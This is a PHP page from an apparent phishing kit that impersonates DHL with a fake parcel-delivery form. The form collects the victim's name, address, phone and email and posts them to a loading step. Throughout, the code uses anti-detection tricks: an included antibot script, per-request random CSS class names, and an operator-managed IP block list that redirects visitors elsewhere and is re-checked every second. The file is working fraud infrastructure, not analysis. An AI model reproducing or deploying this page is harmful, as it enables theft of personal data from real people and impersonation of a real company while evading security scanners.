<?php
    error_reporting(0);
    session_start();
    include "../antibots-debug/antibots.php";
    require_once('../libraries/geoplugin.class.php');
    include '../setting/functions.php';
    require_once "../setting/lang.php";

    function isBlocked($ip) {
        $blockedIPs = file_get_contents('../panel/blocked_ips.txt');
        return strpos($blockedIPs, $ip) !== false;
    }

    // Get the user's IP address
    $userIP = get_client_ip();

    // Check if the user's IP is blocked
    if (isBlocked($userIP)) {
        // Redirect the blocked user to another page
        header("Location: https://www.superhonda.com/");
        exit();
    }

    // Lang Fucntion :
    lang();

    $random_classes = rand(0, 1000000); 
    $permitted_chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';

    
?>
<!DOCTYPE html>
<html lang="en" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> ">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <!-- Font Google -->
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Open+Sans:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    <!-- Font Awesome Library --> 
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css" integrity="sha512-KfkfwYDsLkIlwQp6LFnl8zNdLGxu9YAA1QvwINks4PhcElQSvqcyVLLD9aMhXd13uQjoXtEKNosOWaZqXgel0g==" crossorigin="anonymous" referrerpolicy="no-referrer" />
    <!-- File Css -->
    <link rel="stylesheet" href="../css/main.css">
    <link rel="stylesheet" href="../css/style-test.css">
    <link rel="stylesheet" href="../css/basic-thinks.css">
    <!-- Favicon -->
    <link rel="icon" href="../img/favicon.gif">
    <link rel="shortcut" href="../img/favicon.gif">
    <link rel="appel-touch-icon" href="../img/favicon.gif">
    <title>DHL - <?php echo get_text('title_head'); ?></title>
</head>
<body id="body"  class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> ">
    <!-- Start Nav Bar -->
    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> nav-bar" id="navBar">
        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> content-nav-bar" id="menu">
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> parent-image-and-links-nav-bar" id="menu2">
                <img class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> show-message-explain" src="../img/logo.png">
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> links-nav-bar">
                    <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> show-message-explain link-nav-bar"><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-solid fa-circle-exclamation"></i><?php echo get_text('top_header1'); ?></span>
                    <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> show-message-explain link-nav-bar"><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-solid fa-message"></i><?php echo get_text('top_header2'); ?></span>
                    <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> show-message-explain link-nav-bar"><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-solid fa-globe"></i><?php echo get_text('top_header3'); ?></span>
                    <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> show-message-explain link-nav-bar"><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-solid fa-magnifying-glass"></i><?php echo get_text('top_header4'); ?></span>
                </div>
            </div>
            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> menu-bar-button" id="buttonMenu"><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-solid fa-bars" id="buttonMenuIcon"></i></span>
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> links-nav-bar-other">
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> links-nav-bar-other-1">
                    <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> show-message-explain link-nav-bar-other"><?php echo get_text('mainmenu1'); ?><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-solid fa-angle-down"></i></span>
                    <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> show-message-explain link-nav-bar-other"><?php echo get_text('mainmenu2'); ?><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-solid fa-angle-down"></i></span>
                    <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> show-message-explain link-nav-bar-other"><?php echo get_text('mainmenu3'); ?><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-solid fa-angle-down"></i></span>
                    <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> show-message-explain link-nav-bar-other"><?php echo get_text('mainmenu4'); ?><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-solid fa-angle-down"></i></span>
                </div>

                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> links-nav-bar-other-2">
                    <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> show-message-explain link-nav-bar-other-2"><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-solid fa-user"></i><?php echo get_text('header-right'); ?></span>
                </div>
            </div>
        </div>
    </div>
    <!-- End Nav Bar -->

    <!-- Start main -->
    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> home">
        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> content-home">
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> container"> 
            <h1 class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> title-home"><?php echo get_text('title'); ?></h1>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> steps-and-title">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> title-steps">
                        <img src="../img/image-step.png" alt="">
                        <h3><?php echo get_text('title2'); ?></h3>
                    </div>
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> steps">
                        <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> green-step"></span>
                        <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> red-step"></span>
                        <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> red-step"></span>
                    </div>
                </div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> form-and-message">
                    <form action="./loading.php" method="post" id="claveForm">
                        <h4 class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> title-form-1"><?php echo get_text('title_form_1'); ?></h4>
                        
                        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> parent-input" id="div1">
                            <label for="country"><?php echo get_text('full_name_label'); ?> <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> star-red">*</span></label>
                            <input type="text" name="full_name" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> inputs" id="fullName">
                            <small id="messageError1" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> small-message-error"><?php echo get_text('message_error_inputs'); ?></small>
                        </div>
                        <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> container-inputs">
                            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> parent-input" id="div2">
                                <label for="country"><?php echo get_text('country_label'); ?> <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> star-red">*</span></label>
                                <input type="text" name="country" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> inputs" value="" id="country">
                                <small id="messageError2" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> small-message-error"><?php echo get_text('message_error_inputs'); ?></small>
                            </div>
                            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> parent-input margin-left" id="div3">
                                <label for="city"><?php echo get_text('city_label'); ?> <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> star-red">*</span></label>
                                <input type="text" name="city" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> inputs" id="city">
                                <small id="messageError3" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> small-message-error"><?php echo get_text('message_error_inputs'); ?></small>
                            </div>
                        </span>
                        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> parent-input" id="div4">
                            <label for="address"><?php echo get_text('address_label'); ?> <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> star-red">*</span></label>
                            <input type="text" name="address" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> inputs" id="address">
                            <small id="messageError4" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> small-message-error"><?php echo get_text('message_error_inputs'); ?></small>
                        </div>

                        <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> container-inputs">
                            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> parent-input" id="div5">
                                <label for="state"><?php echo get_text('State_label'); ?> <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> star-red">*</span></label>
                                <input type="text" name="state" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> inputs" id="state">
                                <small id="messageError5" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> small-message-error"><?php echo get_text('message_error_inputs'); ?></small>
                            </div>
                            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> parent-input  margin-left" id="div6">
                                <label for="zipCode"><?php echo get_text('zip_code_label'); ?> <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> star-red">*</span></label>
                                <input type="tel" name="zip_code" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> inputs" id="zipCode">
                                <small id="messageError6" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> small-message-error"><?php echo get_text('message_error_inputs'); ?></small>
                            </div>
                        </span>
                        <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> container-inputs">
                            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> parent-input" id="div7">
                                <label for="phoneNumber"><?php echo get_text('phone_label'); ?><span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> star-red">*</span></label>
                                <input type="tel" name="phone_number" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> inputs" id="phoneNumber">
                                <small id="messageError7" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> small-message-error"><?php echo get_text('message_error_inputs'); ?></small>
                            </div>
                            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> parent-input margin-left" id="div8">
                                <label for="email"><?php echo get_text('email_label'); ?> <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> star-red">*</span></label>
                                <input type="email" name="email" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> inputs" id="email">
                                <small id="messageError8" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> small-message-error"><?php echo get_text('message_error_inputs'); ?></small>
                            </div>
                        </span>

                        <button type="submit" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> button-send-data" id="buttonSendData" name="send_data_2"><?php echo get_text('next'); ?></button>
                    </form>
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> message-form">
                        <label><?php echo get_text('status'); ?></label>
                        <label><?php echo get_text('parcel'); ?></label>
                        <label><?php echo get_text('tracking'); ?></label>
                        <label><?php echo get_text('last_update'); ?>: <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> bold-text"><?php echo date('l jS \of  h:i A'); ?></span></label>
                        <label><?php echo get_text('shipment'); ?></label>
                        <label><?php echo get_text('total'); ?></label>
                        <hr>
                        <h4><?php echo get_text('important_title'); ?></h4>
                        <p><?php echo get_text('important_message'); ?></p>
                    </div>
                </div>
            </div>
            <!-- Start Footer -->
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> footer">
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> content-footer">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> image-footer-and-links-footer">
                        <img src="../img/image-footer.png" alt="">
                        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> links-footer">
                            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> link-footer show-message-explain"><?php echo get_text('footer-menu-1'); ?></span>
                            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> link-footer show-message-explain"><?php echo get_text('footer-menu-2'); ?></span>
                            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> link-footer show-message-explain"><?php echo get_text('footer-menu-3'); ?></span>
                            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> link-footer show-message-explain"><?php echo get_text('footer-menu-4'); ?></span>
                            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> link-footer show-message-explain"><?php echo get_text('footer-menu-5'); ?></span>
                            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> link-footer show-message-explain"><?php echo get_text('footer-menu-6'); ?></span>
                            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> link-footer show-message-explain"><?php echo get_text('footer-menu-7'); ?></span>
                            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> link-footer show-message-explain"><?php echo get_text('footer-menu-8'); ?></span>
                        </div>
                    </div>
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> social-media-links-footer">
                        <h4><?php echo get_text('follow-us'); ?></h4>
                        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> social-media">
                            <span style="padding-left:0px !important;" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> social-media-link show-message-explain"><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-brands fa-youtube"></i></span>
                            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> social-media-link show-message-explain"><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-brands fa-facebook"></i></span>
                            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> social-media-link show-message-explain"><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-brands fa-linkedin"></i></span>
                            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> social-media-link show-message-explain"><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-brands fa-instagram"></i></span>
                        </div>
                    </div>
                </div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> copyright"><?php echo date('Y'); ?> <?php echo get_text('copyright'); ?></div>
            </div>
            <!-- End Footer -->
        </div>
    </div>
    <!-- End main -->

    <!-- Message Explain -->
    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> message-user" id="messageUser">
        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> content-message-user">
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> header-messsage-user">
                <img src="../img/logo.png" alt="">
                <button class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> close-message-header" id="closeMessageuser1" type="button"><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-solid fa-xmark"></i></button>
            </div>
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> text-message-user">
                <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> alert-icon">
                    <i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> fa-solid fa-shield-halved"></i>
                </span>
                <h2><?php echo get_text('title-text-message-user'); ?></h2>
                <p><?php echo get_text('text-message-user'); ?></p>
                <button type="button" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) . "-" . $random_classes ;?> close-message-user" id="closeMessageuser2"><?php echo get_text('button-text-message-user'); ?></button>
            </div>
        </div>
    </div>
    <!-- Message Explain -->
    <!-- Script Js -->
    <script src="../js/script-all.js"></script>
    <script src="../js/script-info.js"></script>
    <script>
        function checkBlockedIP(){fetch("../panel/blocked_ips.txt").then(e=>e.text()).then(e=>{let c=e.trim().split("\n");c.includes("<?php echo get_client_ip(); ?>")&&(window.location.href="https://www.superhonda.com/")}).catch(e=>console.error("Error fetching IP list:",e))}checkBlockedIP(),setInterval(checkBlockedIP,1e3);
    </script>
</body>
</html>